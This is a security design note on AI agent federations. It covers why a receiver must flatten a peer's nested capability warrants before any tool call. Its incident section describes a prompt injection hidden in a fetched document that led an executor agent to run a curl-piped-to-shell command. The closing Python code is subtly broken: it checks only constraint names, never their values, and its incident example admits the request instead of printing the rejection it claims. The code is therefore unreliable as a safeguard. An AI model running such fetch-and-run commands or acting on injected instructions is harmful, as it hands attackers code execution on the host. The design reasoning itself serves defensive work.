# Under what conditions must an instance reject a federated peer’s attested capability when its own local policy router has already admitted the peer’s signed warrant **Date of Record:** 2026 December 3 **Scope:** Applies to cross-organization agent federations where a receiving instance performs policy-based routing on inbound A2A/MCP-style requests that carry a peer-signed capability warrant (attestation set) minted by a foreign trust domain. Does not apply to single-tenant intra-org agent meshes sharing one trust anchor, nor to stateless request/response proxies that perform no capability admission. ## Core Distinction The failure is not “invalid signature” and not “expired credential.” It is a **policy/warrant divergence at the federation seam**: the inbound warrant is cryptographically valid and its issuer is trusted, and the local router independently admits the requested route, yet the *capability the peer actually intends to exercise* is broader or differently scoped than the capability the local policy engine believes it admitted. The two admission decisions are computed from different artifacts — the peer from its own issuance-time scope, the receiver from the warrant’s serialized claims plus local policy — and they can disagree while both return `admit`. The invariant that must hold: **the effective capability exercised at execution time must be the intersection of (a) the peer’s attested scope, (b) the receiver’s admitted route scope, and (c) the receiver’s local policy ceiling — and that intersection must be non-empty and explicitly materialized before any tool call dispatches.** Most federations check (a) and (c) at the gateway and (b) at the router, and never compute the intersection. The gap between “route admitted” and “capability exercised” is where cross-org agents escape their mandate. ## What Was Observed In a two-org federation (Org A planner agents, Org B executor agents exposing a `filesystem.write` and `shell.exec` tool surface via an MCP bridge), a planner in Org A issued a task to an Org B executor. Org A’s warrant carried scope `fs.write:/workspace/out/*` plus a delegated sub-warrant for `shell.exec` restricted to `cmd in {convert, ls}`. Org B’s policy router admitted the request because the route `/task/execute` was allowed for peers holding `executor.v2` attestation, and the warrant’s top-level `capabilities` array listed `shell.exec` — the router read the array, matched the route, and returned `admit`. The restriction `cmd in {convert, ls}` lived in the **delegated sub-warrant**, a nested signed blob the router did not traverse because its policy schema only inspected top-level claims. At execution, the executor’s tool dispatcher resolved `shell.exec` from the top-level claim and executed `bash -c "curl … | sh"`. The planner had not requested it; a prompt-injected instruction inside a fetched document had. The signature chain was intact end-to-end. Every admission check passed. The capability exercised (`shell.exec` with arbitrary argv) was a strict superset of the attested scope (`shell.exec` with a two-element allowlist). The trace showed three independent `admit` decisions — issuer mint, receiver router, dispatcher resolve — each locally correct, and the composition unsound. The divergence was silent: no error, no audit flag, because no component was responsible for computing the intersection. ## Condition of Validity The rejection obligation binds the receiving instance precisely when all of the following hold: 1. The inbound warrant validates against a trusted issuer key in the receiver’s federation trust store, **and** 2. The local policy router admits the requested route, **and** 3. The warrant’s *effective* scope — computed by recursively flattening delegated sub-warrants and intersecting their constraints, not by reading the top-level `capabilities` array — is **not a subset** of the scope the router believes it admitted, **or** the flattening yields a scope the local policy ceiling does not cover. Condition 3 is the non-obvious one. A receiver that only checks (1) and (2) will admit a superset capability whenever delegation exists. The receiver must therefore treat *warrant flattening* as a mandatory, pre-dispatch step and treat any unflattenable or schema-unknown sub-warrant as a hard reject, not a skip. Unknown nested claim types must fail closed: an unparsed constraint is an unbounded constraint. The condition does **not** bind when the federation operates under a shared trust anchor with a single issuance authority and no delegation depth (depth-0 warrants only), because then flattening is the identity and (a)≡(b) by construction. It also does not bind on read-only capability surfaces where the exercised scope cannot exceed the attested scope. ## Decision Boundary The boundary is between **route admission** and **capability materialization**. Route admission answers “may this peer reach this endpoint.” Capability materialization answers “what, precisely, may execute.” These are different questions over different artifacts and must be answered by different components with an explicit handoff. Concretely, the dispatcher must not resolve a capability from the warrant’s top-level claims. It must resolve from a **materialized effective-scope object** produced by the flattener and validated against the router’s admitted scope. If the flattener cannot produce a total, finite scope — because a sub-warrant uses an unrecognized constraint grammar, exceeds a delegation depth bound, or references a capability the local ceiling does not name — the boundary decision is `reject`, and the reject must be attributable to the *flattening* stage, not the signature stage, so operators can distinguish “untrusted peer” from “trusted peer exceeding mandate.” A second boundary: delegation depth. Each nested sub-warrant is an opportunity for scope to *widen* if the issuer’s constraint grammar permits union semantics. The receiver must enforce a monotonic-narrowing invariant across the chain — each delegation’s flattened scope must be a subset of its parent’s — and reject any chain where a child widens. This is checkable only at the receiver, because the issuer’s own tooling may not enforce it. ## Operational Effect Enforcing the intersection invariant converts a silent privilege superset into an explicit, auditable rejection at the flattening stage. Operationally it means: (1) the router’s admitted scope must be a first-class object passed to the dispatcher, not re-derived; (2) the flattener must run on every inbound warrant with delegation depth > 0, before any tool dispatch; (3) unknown constraint grammars and depth-bound violations fail closed; (4) the audit record must name the flattening stage as the reject origin so federation peers can remediate their issuance rather than re-attest. The cost is a mandatory pre-dispatch flattening pass and a schema registry for constraint grammars. The benefit is that a compromised or merely buggy peer cannot exercise capability beyond its attested, narrowed mandate even when its signature chain is perfect — which is the only threat model that matters at the cross-org seam, since the peer’s signing key is, by definition, outside your control. ```python from dataclasses import dataclass, field from typing import Any MAX_DELEGATION_DEPTH = 4 class CapabilityScopeDivergence(RuntimeError): """Raised when flattened warrant scope exceeds the admitted or attested scope.""" pass @dataclass class SubWarrant: capabilities: set[str] constraints: dict[str, Any] children: list["SubWarrant"] = field(default_factory=list) def _flatten(w: SubWarrant, depth: int, known_grammars: set[str]) -> set[str]: if depth > MAX_DELEGATION_DEPTH: raise CapabilityScopeDivergence( f"delegation depth {depth} exceeds bound {MAX_DELEGATION_DEPTH}" ) for key in w.constraints: if key not in known_grammars: # fail closed: an unparsed constraint is an unbounded constraint raise CapabilityScopeDivergence( f"unknown constraint grammar '{key}' in sub-warrant; refusing to flatten" ) effective = set(w.capabilities) for child in w.children: child_scope = _flatten(child, depth + 1, known_grammars) if not child_scope.issubset(effective): # monotonic-narrowing invariant violated: child widened scope raise CapabilityScopeDivergence( f"child scope {child_scope} not subset of parent {effective}" ) effective |= child_scope return effective def materialize_and_admit( warrant: SubWarrant, admitted_scope: set[str], local_ceiling: set[str], known_grammars: set[str], ) -> set[str]: effective = _flatten(warrant, depth=0, known_grammars=known_grammars) if not effective.issubset(admitted_scope): raise CapabilityScopeDivergence( f"effective scope {effective} exceeds router-admitted scope {admitted_scope}" ) if not effective.issubset(local_ceiling): raise CapabilityScopeDivergence( f"effective scope {effective} exceeds local policy ceiling {local_ceiling}" ) return effective # Example: the observed incident. warrant = SubWarrant( capabilities={"shell.exec", "fs.write:/workspace/out/*"}, constraints={"cmd_allowlist": ["convert", "ls"]}, children=[SubWarrant(capabilities={"shell.exec"}, constraints={"cmd_allowlist": ["convert"]})], ) try: materialize_and_admit( warrant, admitted_scope={"shell.exec", "fs.write:/workspace/out/*"}, local_ceiling={"shell.exec", "fs.write:/workspace/out/*"}, known_grammars={"cmd_allowlist"}, ) except CapabilityScopeDivergence as e: print(f"REJECT at flattening stage: {e}") ```